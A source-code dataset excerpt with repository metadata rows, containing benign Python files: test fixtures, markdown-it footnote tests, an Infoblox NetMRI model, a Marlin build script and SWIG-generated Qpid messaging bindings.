] | 134 | 2018-02-26T21:35:23.000Z | 2022-03-03T00:30:27.000Z | tests/unit/fixtures/mock_hooks.py | asksmruti/runway | 8aca76df9372e3d13eb35e12f81758f618e89e74 | [
"Apache-2.0"
] | 937 | 2018-03-08T22:04:35.000Z | 2022-03-30T12:21:47.000Z | tests/unit/fixtures/mock_hooks.py | asksmruti/runway | 8aca76df9372e3d13eb35e12f81758f618e89e74 | [
"Apache-2.0"
] | 70 | 2018-02-26T23:48:11.000Z | 2022-03-02T18:44:30.000Z | """Mock hooks."""
import os
GLOBAL_VALUE = os.getenv("AWS_DEFAULT_REGION")
| 15.2 | 46 | 0.723684 | 11 | 76 | 4.727273 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 76 | 4 | 47 | 19 | 0.764706 | 0.144737 | 0 | 0 | 0 | 0 | 0.305085 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
cbef98979690284ec730947d0629faf20aa467d6 | 126 | py | Python | bot/database/connection.py | jDan735/jdan734-bot | aef1490af7daa7bb674dd476356a2761d1c9d18c | [
"MIT"
] | 4 | 2020-08-27T20:51:25.000Z | 2021-05-01T09:50:41.000Z | bot/database/connection.py | jDan735/jdan734-bot | aef1490af7daa7bb674dd476356a2761d1c9d18c | [
"MIT"
] | 55 | 2021-01-05T15:25:04.000Z | 2022-02-11T04:33:28.000Z | bot/database/connection.py | jDan735/jdan734-bot | aef1490af7daa7bb674dd476356a2761d1c9d18c | [
"MIT"
] | 11 | 2020-09-12T10:17:49.000Z | 2022-03-27T04:37:10.000Z | from peewee import SqliteDatabase
from ..config import DB_PATH
db = SqliteDatabase(DB_PATH)
manager = None
get_count = None
| 15.75 | 33 | 0.793651 | 18 | 126 | 5.388889 | 0.611111 | 0.123711 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.150794 | 126 | 7 | 34 | 18 | 0.906542 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
cbf02f3a676050bf8f960f97be12328b1aaca302 | 12,218 | py | Python | tests/test_footnote.py | shivam05011996/mdit-py-plugins | 5c0038fd4348cc37548b3ee7891a9f380517f959 | [
"MIT"
] | null | null | null | tests/test_footnote.py | shivam05011996/mdit-py-plugins | 5c0038fd4348cc37548b3ee7891a9f380517f959 | [
"MIT"
] | null | null | null | tests/test_footnote.py | shivam05011996/mdit-py-plugins | 5c0038fd4348cc37548b3ee7891a9f380517f959 | [
"MIT"
] | null | null | null | from pathlib import Path
from textwrap import dedent
import pytest
from markdown_it import MarkdownIt
from markdown_it.token import Token
from markdown_it.rules_inline import StateInline
from markdown_it.rules_block import StateBlock
from mdit_py_plugins.footnote import index
from mdit_py_plugins.footnote import footnote_plugin
from markdown_it.utils import read_fixture_file
FIXTURE_PATH = Path(__file__).parent.joinpath("fixtures", "footnote.md")
def test_footnote_def():
md = MarkdownIt()
src = r"[^a]: xyz"
tokens = []
state = StateBlock(src, md, {}, tokens)
index.footnote_def(state, 0, 1, False)
assert [t.as_dict() for t in tokens] == [
{
"type": "footnote_reference_open",
"tag": "",
"nesting": 1,
"attrs": None,
"map": [0, 1],
"level": 0,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {"label": "a"},
"block": False,
"hidden": False,
},
{
"type": "paragraph_open",
"tag": "p",
"nesting": 1,
"attrs": None,
"map": [0, 1],
"level": 1,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {},
"block": True,
"hidden": False,
},
{
"type": "inline",
"tag": "",
"nesting": 0,
"attrs": None,
"map": [0, 1],
"level": 2,
"children": [],
"content": "xyz",
"markup": "",
"info": "",
"meta": {},
"block": True,
"hidden": False,
},
{
"type": "paragraph_close",
"tag": "p",
"nesting": -1,
"attrs": None,
"map": None,
"level": 1,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {},
"block": True,
"hidden": False,
},
{
"type": "footnote_reference_close",
"tag": "",
"nesting": -1,
"attrs": None,
"map": None,
"level": 0,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {},
"block": False,
"hidden": False,
},
]
assert state.env == {"footnotes": {"refs": {":a": -1}}}
def test_footnote_ref():
md = MarkdownIt()
src = r"[^a]"
tokens = []
state = StateInline(src, md, {}, tokens)
state.env = {"footnotes": {"refs": {":a": -1}}}
index.footnote_ref(state, False)
# print([t.as_dict() for t in tokens])
assert [t.as_dict() for t in tokens] == [
{
"type": "footnote_ref",
"tag": "",
"nesting": 0,
"attrs": None,
"map": None,
"level": 0,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {"id": 0, "subId": 0, "label": "a"},
"block": False,
"hidden": False,
}
]
assert state.env == {
"footnotes": {"refs": {":a": 0}, "list": {0: {"label": "a", "count": 1}}}
}
def test_footnote_inline():
md = MarkdownIt().use(footnote_plugin)
src = r"^[a]"
tokens = []
state = StateInline(src, md, {}, tokens)
state.env = {"footnotes": {"refs": {":a": -1}}}
index.footnote_inline(state, False)
# print([t.as_dict() for t in tokens])
assert [t.as_dict() for t in tokens] == [
{
"type": "footnote_ref",
"tag": "",
"nesting": 0,
"attrs": None,
"map": None,
"level": 0,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {"id": 0},
"block": False,
"hidden": False,
}
]
assert state.env == {
"footnotes": {
"refs": {":a": -1},
"list": {
0: {
"content": "a",
"tokens": [
Token(
type="text",
tag="",
nesting=0,
attrs=None,
map=None,
level=0,
children=None,
content="a",
markup="",
info="",
meta={},
block=False,
hidden=False,
)
],
}
},
}
}
def test_footnote_tail():
md = MarkdownIt()
tokens = [
Token(
**{
"type": "footnote_reference_open",
"tag": "",
"nesting": 1,
"attrs": None,
"map": None,
"level": 0,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {"label": "a"},
"block": False,
"hidden": False,
}
),
Token(
**{
"type": "paragraph_open",
"tag": "p",
"nesting": 1,
"attrs": None,
"map": [0, 1],
"level": 1,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {},
"block": True,
"hidden": False,
}
),
Token(
**{
"type": "inline",
"tag": "",
"nesting": 0,
"attrs": None,
"map": [0, 1],
"level": 2,
"children": [],
"content": "xyz",
"markup": "",
"info": "",
"meta": {},
"block": True,
"hidden": False,
}
),
Token(
**{
"type": "paragraph_close",
"tag": "p",
"nesting": -1,
"attrs": None,
"map": None,
"level": 1,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {},
"block": True,
"hidden": False,
}
),
Token(
**{
"type": "footnote_reference_close",
"tag": "",
"nesting": -1,
"attrs": None,
"map": None,
"level": 0,
"children": None,
"content": "",
"markup": "",
"info": "",
"meta": {},
"block": False,
"hidden": False,
}
),
Token("other", "", 0),
]
env = {"footnotes": {"refs": {":a": 0}, "list": {0: {"label": "a", "count": 1}}}}
state = StateBlock("", md, env, tokens)
index.footnote_tail(state)
assert state.tokens == [
Token(
type="other",
tag="",
nesting=0,
attrs=None,
map=None,
level=0,
children=None,
content="",
markup="",
info="",
meta={},
block=False,
hidden=False,
),
Token(
type="footnote_block_open",
tag="",
nesting=1,
attrs=None,
map=None,
level=0,
children=None,
content="",
markup="",
info="",
meta={},
block=False,
hidden=False,
),
Token(
type="footnote_open",
tag="",
nesting=1,
attrs=None,
map=None,
level=0,
children=None,
content="",
markup="",
info="",
meta={"id": 0, "label": "a"},
block=False,
hidden=False,
),
Token(
type="paragraph_open",
tag="p",
nesting=1,
attrs=None,
map=[0, 1],
level=1,
children=None,
content="",
markup="",
info="",
meta={},
block=True,
hidden=False,
),
Token(
type="inline",
tag="",
nesting=0,
attrs=None,
map=[0, 1],
level=2,
children=[],
content="xyz",
markup="",
info="",
meta={},
block=True,
hidden=False,
),
Token(
type="footnote_anchor",
tag="",
nesting=0,
attrs=None,
map=None,
level=0,
children=None,
content="",
markup="",
info="",
meta={"id": 0, "subId": 0, "label": "a"},
block=False,
hidden=False,
),
Token(
type="paragraph_close",
tag="p",
nesting=-1,
attrs=None,
map=None,
level=1,
children=None,
content="",
markup="",
info="",
meta={},
block=True,
hidden=False,
),
Token(
type="footnote_close",
tag="",
nesting=-1,
attrs=None,
map=None,
level=0,
children=None,
content="",
markup="",
info="",
meta={},
block=False,
hidden=False,
),
Token(
type="footnote_block_close",
tag="",
nesting=-1,
attrs=None,
map=None,
level=0,
children=None,
content="",
markup="",
info="",
meta={},
block=False,
hidden=False,
),
]
def test_plugin_render():
md = MarkdownIt().use(footnote_plugin)
text = md.render(
dedent(
"""\
[^1] ^[a] [^a] [^a]
[^1]: abc
[^a]: xyz
"""
)
)
assert text == (
dedent(
"""\
<p><sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup> <sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup> <sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup> <sup class="footnote-ref"><a href="#fn3" id="fnref3:1">[3:1]</a></sup></p>
<hr class="footnotes-sep" />
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p>abc <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn2" class="footnote-item"><p>a <a href="#fnref2" class="footnote-backref">↩︎</a></p>
</li>
<li id="fn3" class="footnote-item"><p>xyz <a href="#fnref3" class="footnote-backref">↩︎</a> <a href="#fnref3:1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
""" # noqa: E501
)
)
@pytest.mark.parametrize("line,title,input,expected", read_fixture_file(FIXTURE_PATH))
def test_all(line, title, input, expected):
md = MarkdownIt("commonmark").use(footnote_plugin)
md.options["xhtmlOut"] = False
text = md.render(input)
print(text)
assert text.rstrip().replace("↩︎", "<-").replace(
"↩", "<-"
) == expected.rstrip().replace("↩︎", "<-").replace("↩", "<-")
| 26.331897 | 282 | 0.359388 | 988 | 12,218 | 4.389676 | 0.118421 | 0.045654 | 0.060872 | 0.103758 | 0.760433 | 0.712474 | 0.692645 | 0.68665 | 0.679733 | 0.6546 | 0 | 0.016294 | 0.472581 | 12,218 | 463 | 283 | 26.388769 | 0.654562 | 0.006875 | 0 | 0.760664 | 0 | 0 | 0.125754 | 0.010561 | 0 | 0 | 0 | 0 | 0.021327 | 1 | 0.014218 | false | 0 | 0.023697 | 0 | 0.037915 | 0.00237 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
022167132225f18d17f36a06e5aa128f1de314fa | 1,679 | py | Python | infoblox_netmri/api/remote/models/aggregated_link_group_membership_remote.py | IngmarVG-IB/infoblox-netmri | b0c725fd64aee1890d83917d911b89236207e564 | [
"Apache-2.0"
] | null | null | null | infoblox_netmri/api/remote/models/aggregated_link_group_membership_remote.py | IngmarVG-IB/infoblox-netmri | b0c725fd64aee1890d83917d911b89236207e564 | [
"Apache-2.0"
] | null | null | null | infoblox_netmri/api/remote/models/aggregated_link_group_membership_remote.py | IngmarVG-IB/infoblox-netmri | b0c725fd64aee1890d83917d911b89236207e564 | [
"Apache-2.0"
] | null | null | null | from ..remote import RemoteModel
from infoblox_netmri.utils.utils import check_api_availability
class AggregatedLinkGroupMembershipRemote(RemoteModel):
"""
| ``DataSourceID:`` none
| ``attribute type:`` string
| ``aggLinkGroupMemberID:`` none
| ``attribute type:`` string
| ``aggLinkGroupMemberGroupName:`` none
| ``attribute type:`` string
| ``aggLinkGroupMemberGroupIndex:`` none
| ``attribute type:`` string
| ``DeviceID:`` none
| ``attribute type:`` string
| ``aggLinkGroupMemberAggregateInterface:`` none
| ``attribute type:`` string
| ``aggLinkGroupMemberPhysicalInterface:`` none
| ``attribute type:`` string
| ``aggLinkGroupMemberStartTime:`` none
| ``attribute type:`` string
| ``aggLinkGroupMemberEndTime:`` none
| ``attribute type:`` string
| ``aggLinkGroupMemberTimestamp:`` none
| ``attribute type:`` string
| ``aggLinkGroupMemberChangedCols:`` none
| ``attribute type:`` string
"""
properties = ("DataSourceID",
"aggLinkGroupMemberID",
"aggLinkGroupMemberGroupName",
"aggLinkGroupMemberGroupIndex",
"DeviceID",
"aggLinkGroupMemberAggregateInterface",
"aggLinkGroupMemberPhysicalInterface",
"aggLinkGroupMemberStartTime",
"aggLinkGroupMemberEndTime",
"aggLinkGroupMemberTimestamp",
"aggLinkGroupMemberChangedCols",
)
| 24.333333 | 62 | 0.563431 | 83 | 1,679 | 11.361446 | 0.337349 | 0.151644 | 0.198303 | 0.268293 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.328767 | 1,679 | 69 | 63 | 24.333333 | 0.836735 | 0.45682 | 0 | 0 | 0 | 0 | 0.361955 | 0.309115 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.133333 | 0 | 0.266667 | 0 | 0 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
024122592ab7fc77249c45e4ab8dc5210b667325 | 201 | py | Python | Firmware/buildroot/share/PlatformIO/scripts/mks_robin_nano35_kp3s.py | jhNsXO/UnifiedFirmware | a3649d67d9fa6219c7fb58ab9e18594b1b0a24df | [
"Info-ZIP"
] | 97 | 2020-09-14T13:35:17.000Z | 2022-03-28T20:15:49.000Z | Firmware/buildroot/share/PlatformIO/scripts/mks_robin_nano35_kp3s.py | jhNsXO/UnifiedFirmware | a3649d67d9fa6219c7fb58ab9e18594b1b0a24df | [
"Info-ZIP"
] | 8 | 2020-11-11T21:01:38.000Z | 2022-01-22T01:22:10.000Z | Firmware/buildroot/share/PlatformIO/scripts/mks_robin_nano35_kp3s.py | jhNsXO/UnifiedFirmware | a3649d67d9fa6219c7fb58ab9e18594b1b0a24df | [
"Info-ZIP"
] | 49 | 2020-09-22T09:33:37.000Z | 2022-03-19T21:23:04.000Z | #
# buildroot/share/PlatformIO/scripts/mks_robin_nano35_kp3s.py
# KP3S board needs file name as Robin_nano.bin
#
import marlin
marlin.prepare_robin("0x08007000", "mks_robin_nano.ld", "Robin_nano.bin")
| 28.714286 | 73 | 0.800995 | 31 | 201 | 4.935484 | 0.677419 | 0.176471 | 0.156863 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070652 | 0.084577 | 201 | 6 | 74 | 33.5 | 0.76087 | 0.517413 | 0 | 0 | 0 | 0 | 0.445652 | 0 | 0 | 0 | 0.108696 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
02422ea903224fe0ad692530150aba067a085521 | 22,871 | py | Python | bindings/qpid/python/cqpid.py | gcsideal/debian-qpid-cpp | e4d034036f29408f940805f5505ae62ce89650cc | [
"Apache-2.0"
] | null | null | null | bindings/qpid/python/cqpid.py | gcsideal/debian-qpid-cpp | e4d034036f29408f940805f5505ae62ce89650cc | [
"Apache-2.0"
] | null | null | null | bindings/qpid/python/cqpid.py | gcsideal/debian-qpid-cpp | e4d034036f29408f940805f5505ae62ce89650cc | [
"Apache-2.0"
] | null | null | null | # This file was automatically generated by SWIG (http://www.swig.org).
# Version 2.0.4
#
# Do not make changes to this file unless you know what you are doing--modify
# the SWIG interface file instead.
from sys import version_info
if version_info >= (2,6,0):
def swig_import_helper():
from os.path import dirname
import imp
fp = None
try:
fp, pathname, description = imp.find_module('_cqpid', [dirname(__file__)])
except ImportError:
import _cqpid
return _cqpid
if fp is not None:
try:
_mod = imp.load_module('_cqpid', fp, pathname, description)
finally:
fp.close()
return _mod
_cqpid = swig_import_helper()
del swig_import_helper
else:
import _cqpid
del version_info
try:
_swig_property = property
except NameError:
pass # Python < 2.2 doesn't have 'property'.
def _swig_setattr_nondynamic(self,class_type,name,value,static=1):
if (name == "thisown"): return self.this.own(value)
if (name == "this"):
if type(value).__name__ == 'SwigPyObject':
self.__dict__[name] = value
return
method = class_type.__swig_setmethods__.get(name,None)
if method: return method(self,value)
if (not static):
self.__dict__[name] = value
else:
raise AttributeError("You cannot add attributes to %s" % self)
def _swig_setattr(self,class_type,name,value):
return _swig_setattr_nondynamic(self,class_type,name,value,0)
def _swig_getattr(self,class_type,name):
if (name == "thisown"): return self.this.own()
method = class_type.__swig_getmethods__.get(name,None)
if method: return method(self)
raise AttributeError(name)
def _swig_repr(self):
try: strthis = "proxy of " + self.this.__repr__()
except: strthis = ""
return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,)
try:
_object = object
_newclass = 1
except AttributeError:
class _object : pass
_newclass = 0
MessagingError = _cqpid.MessagingError
LinkError = _cqpid.LinkError
AddressError = _cqpid.AddressError
ResolutionError = _cqpid.ResolutionError
AssertionFailed = _cqpid.AssertionFailed
NotFound = _cqpid.NotFound
InvalidOption = _cqpid.InvalidOption
MalformedAddress = _cqpid.MalformedAddress
ReceiverError = _cqpid.ReceiverError
FetchError = _cqpid.FetchError
Empty = _cqpid.Empty
SenderError = _cqpid.SenderError
SendError = _cqpid.SendError
TargetCapacityExceeded = _cqpid.TargetCapacityExceeded
ConnectionError = _cqpid.ConnectionError
ConnectError = _cqpid.ConnectError
SessionError = _cqpid.SessionError
TransactionError = _cqpid.TransactionError
TransactionAborted = _cqpid.TransactionAborted
UnauthorizedAccess = _cqpid.UnauthorizedAccess
class Address(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, Address, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, Address, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _cqpid.new_Address(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _cqpid.delete_Address
__del__ = lambda self : None;
def getName(self): return _cqpid.Address_getName(self)
def setName(self, *args): return _cqpid.Address_setName(self, *args)
def getSubject(self): return _cqpid.Address_getSubject(self)
def setSubject(self, *args): return _cqpid.Address_setSubject(self, *args)
def getOptions(self, *args): return _cqpid.Address_getOptions(self, *args)
def setOptions(self, *args): return _cqpid.Address_setOptions(self, *args)
def getType(self): return _cqpid.Address_getType(self)
def setType(self, *args): return _cqpid.Address_setType(self, *args)
def str(self): return _cqpid.Address_str(self)
def __nonzero__(self):
return _cqpid.Address___nonzero__(self)
__bool__ = __nonzero__
Address_swigregister = _cqpid.Address_swigregister
Address_swigregister(Address)
class Duration(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, Duration, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, Duration, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _cqpid.new_Duration(*args)
try: self.this.append(this)
except: self.this = this
def getMilliseconds(self): return _cqpid.Duration_getMilliseconds(self)
__swig_destroy__ = _cqpid.delete_Duration
__del__ = lambda self : None;
Duration_swigregister = _cqpid.Duration_swigregister
Duration_swigregister(Duration)
cvar = _cqpid.cvar
Duration.FOREVER = _cqpid.cvar.Duration_FOREVER
Duration.IMMEDIATE = _cqpid.cvar.Duration_IMMEDIATE
Duration.SECOND = _cqpid.cvar.Duration_SECOND
Duration.MINUTE = _cqpid.cvar.Duration_MINUTE
def __eq__(*args):
return _cqpid.__eq__(*args)
__eq__ = _cqpid.__eq__
def __ne__(*args):
return _cqpid.__ne__(*args)
__ne__ = _cqpid.__ne__
class Message(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, Message, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, Message, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _cqpid.new_Message(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _cqpid.delete_Message
__del__ = lambda self : None;
def _setReplyTo(self, *args): return _cqpid.Message__setReplyTo(self, *args)
def _getReplyTo(self): return _cqpid.Message__getReplyTo(self)
def setSubject(self, *args): return _cqpid.Message_setSubject(self, *args)
def getSubject(self): return _cqpid.Message_getSubject(self)
def setContentType(self, *args): return _cqpid.Message_setContentType(self, *args)
def getContentType(self): return _cqpid.Message_getContentType(self)
def setMessageId(self, *args): return _cqpid.Message_setMessageId(self, *args)
def getMessageId(self): return _cqpid.Message_getMessageId(self)
def setUserId(self, *args): return _cqpid.Message_setUserId(self, *args)
def getUserId(self): return _cqpid.Message_getUserId(self)
def setCorrelationId(self, *args): return _cqpid.Message_setCorrelationId(self, *args)
def getCorrelationId(self): return _cqpid.Message_getCorrelationId(self)
def setPriority(self, *args): return _cqpid.Message_setPriority(self, *args)
def getPriority(self): return _cqpid.Message_getPriority(self)
def _setTtl(self, *args): return _cqpid.Message__setTtl(self, *args)
def _getTtl(self): return _cqpid.Message__getTtl(self)
def setDurable(self, *args): return _cqpid.Message_setDurable(self, *args)
def getDurable(self): return _cqpid.Message_getDurable(self)
def getRedelivered(self): return _cqpid.Message_getRedelivered(self)
def setRedelivered(self, *args): return _cqpid.Message_setRedelivered(self, *args)
def getProperties(self, *args): return _cqpid.Message_getProperties(self, *args)
def setContent(self, *args): return _cqpid.Message_setContent(self, *args)
def getContent(self): return _cqpid.Message_getContent(self)
def getContentPtr(self): return _cqpid.Message_getContentPtr(self)
def getContentSize(self): return _cqpid.Message_getContentSize(self)
def setProperty(self, *args): return _cqpid.Message_setProperty(self, *args)
# UNSPECIFIED was module level before, but I do not
# know how to insert python code at the top of the module.
# (A bare "%pythoncode" inserts at the end.
UNSPECIFIED=object()
def __init__(self, content=None, content_type=UNSPECIFIED, id=None,
subject=None, user_id=None, reply_to=None,
correlation_id=None, durable=None, priority=None,
ttl=None, properties=None):
this = _cqpid.new_Message('')
try: self.this.append(this)
except: self.this = this
if content :
self.content = content
if content_type != UNSPECIFIED :
self.content_type = content_type
if id is not None :
self.id = id
if subject is not None :
self.subject = subject
if user_id is not None :
self.user_id = user_id
if reply_to is not None :
self.reply_to = reply_to
if correlation_id is not None :
self.correlation_id = correlation_id
if durable is not None :
self.durable = durable
if priority is not None :
self.priority = priority
if ttl is not None :
self.ttl = ttl
if properties is not None :
# Can't set properties via (inst).getProperties, because
# the typemaps make a copy of the underlying properties.
# Instead, set via setProperty for the time-being
for k, v in properties.iteritems() :
self.setProperty(k, v)
def _get_content(self) :
if self.content_type == "amqp/list" :
return decodeList(self)
if self.content_type == "amqp/map" :
return decodeMap(self)
return self.getContent()
def _set_content(self, content) :
if isinstance(content, basestring) :
self.setContent(content)
elif isinstance(content, list) or isinstance(content, dict) :
encode(content, self)
else :
# Not a type we can handle. Try setting it anyway,
# although this will probably lead to a swig error
self.setContent(content)
__swig_getmethods__["content"] = _get_content
__swig_setmethods__["content"] = _set_content
if _newclass: content = property(_get_content, _set_content)
__swig_getmethods__["content_type"] = getContentType
__swig_setmethods__["content_type"] = setContentType
if _newclass: content_type = property(getContentType, setContentType)
__swig_getmethods__["id"] = getMessageId
__swig_setmethods__["id"] = setMessageId
if _newclass: id = property(getMessageId, setMessageId)
__swig_getmethods__["subject"] = getSubject
__swig_setmethods__["subject"] = setSubject
if _newclass: subject = property(getSubject, setSubject)
__swig_getmethods__["priority"] = getPriority
__swig_setmethods__["priority"] = setPriority
if _newclass: priority = property(getPriority, setPriority)
def getTtl(self) :
return self._getTtl().getMilliseconds()/1000.0
def setTtl(self, duration) :
self._setTtl(Duration(int(1000*duration)))
__swig_getmethods__["ttl"] = getTtl
__swig_setmethods__["ttl"] = setTtl
if _newclass: ttl = property(getTtl, setTtl)
__swig_getmethods__["user_id"] = getUserId
__swig_setmethods__["user_id"] = setUserId
if _newclass: user_id = property(getUserId, setUserId)
__swig_getmethods__["correlation_id"] = getCorrelationId
__swig_setmethods__["correlation_id"] = setCorrelationId
if _newclass: correlation_id = property(getCorrelationId, setCorrelationId)
__swig_getmethods__["redelivered"] = getRedelivered
__swig_setmethods__["redelivered"] = setRedelivered
if _newclass: redelivered = property(getRedelivered, setRedelivered)
__swig_getmethods__["durable"] = getDurable
__swig_setmethods__["durable"] = setDurable
if _newclass: durable = property(getDurable, setDurable)
__swig_getmethods__["properties"] = getProperties
if _newclass: properties = property(getProperties)
def getReplyTo(self) :
return self._getReplyTo().str()
def setReplyTo(self, address_str) :
self._setReplyTo(Address(address_str))
__swig_getmethods__["reply_to"] = getReplyTo
__swig_setmethods__["reply_to"] = setReplyTo
if _newclass: reply_to = property(getReplyTo, setReplyTo)
def __repr__(self):
args = []
for name in ["id", "subject", "user_id", "reply_to",
"correlation_id", "priority", "ttl",
"durable", "redelivered", "properties",
"content_type"] :
value = getattr(self, name)
if value : args.append("%s=%r" % (name, value))
if self.content is not None:
if args:
args.append("content=%r" % self.content)
else:
args.append(repr(self.content))
return "Message(%s)" % ", ".join(args)
Message_swigregister = _cqpid.Message_swigregister
Message_swigregister(Message)
def __mul__(*args):
return _cqpid.__mul__(*args)
__mul__ = _cqpid.__mul__
class EncodingException(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, EncodingException, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, EncodingException, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _cqpid.new_EncodingException(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _cqpid.delete_EncodingException
__del__ = lambda self : None;
EncodingException_swigregister = _cqpid.EncodingException_swigregister
EncodingException_swigregister(EncodingException)
class Receiver(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, Receiver, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, Receiver, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _cqpid.new_Receiver(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _cqpid.delete_Receiver
__del__ = lambda self : None;
def get(self, *args): return _cqpid.Receiver_get(self, *args)
def _fetch(self, *args): return _cqpid.Receiver__fetch(self, *args)
def setCapacity(self, *args): return _cqpid.Receiver_setCapacity(self, *args)
def getCapacity(self): return _cqpid.Receiver_getCapacity(self)
def available(self): return _cqpid.Receiver_available(self)
def unsettled(self): return _cqpid.Receiver_unsettled(self)
def close(self): return _cqpid.Receiver_close(self)
def isClosed(self): return _cqpid.Receiver_isClosed(self)
def getName(self): return _cqpid.Receiver_getName(self)
def getSession(self): return _cqpid.Receiver_getSession(self)
__swig_getmethods__["capacity"] = getCapacity
__swig_setmethods__["capacity"] = setCapacity
if _newclass: capacity = property(getCapacity, setCapacity)
__swig_getmethods__["session"] = getSession
if _newclass: session = property(getSession)
def fetch(self, timeout=None) :
if timeout is None :
return self._fetch()
else :
# Python API uses timeouts in seconds,
# but C++ API uses milliseconds
return self._fetch(Duration(int(1000*timeout)))
Receiver_swigregister = _cqpid.Receiver_swigregister
Receiver_swigregister(Receiver)
def decode(*args):
return _cqpid.decode(*args)
decode = _cqpid.decode
def encode(*args):
return _cqpid.encode(*args)
encode = _cqpid.encode
class Sender(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, Sender, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, Sender, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _cqpid.new_Sender(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _cqpid.delete_Sender
__del__ = lambda self : None;
def _send(self, *args): return _cqpid.Sender__send(self, *args)
def close(self): return _cqpid.Sender_close(self)
def setCapacity(self, *args): return _cqpid.Sender_setCapacity(self, *args)
def getCapacity(self): return _cqpid.Sender_getCapacity(self)
def unsettled(self): return _cqpid.Sender_unsettled(self)
def available(self): return _cqpid.Sender_available(self)
def getName(self): return _cqpid.Sender_getName(self)
def getSession(self): return _cqpid.Sender_getSession(self)
def send(self, object, sync=True) :
if isinstance(object, Message):
message = object
else:
message = Message(object)
return self._send(message, sync)
__swig_getmethods__["capacity"] = getCapacity
__swig_setmethods__["capacity"] = setCapacity
if _newclass: capacity = property(getCapacity, setCapacity)
__swig_getmethods__["session"] = getSession
if _newclass: session = property(getSession)
Sender_swigregister = _cqpid.Sender_swigregister
Sender_swigregister(Sender)
class Session(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, Session, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, Session, name)
__repr__ = _swig_repr
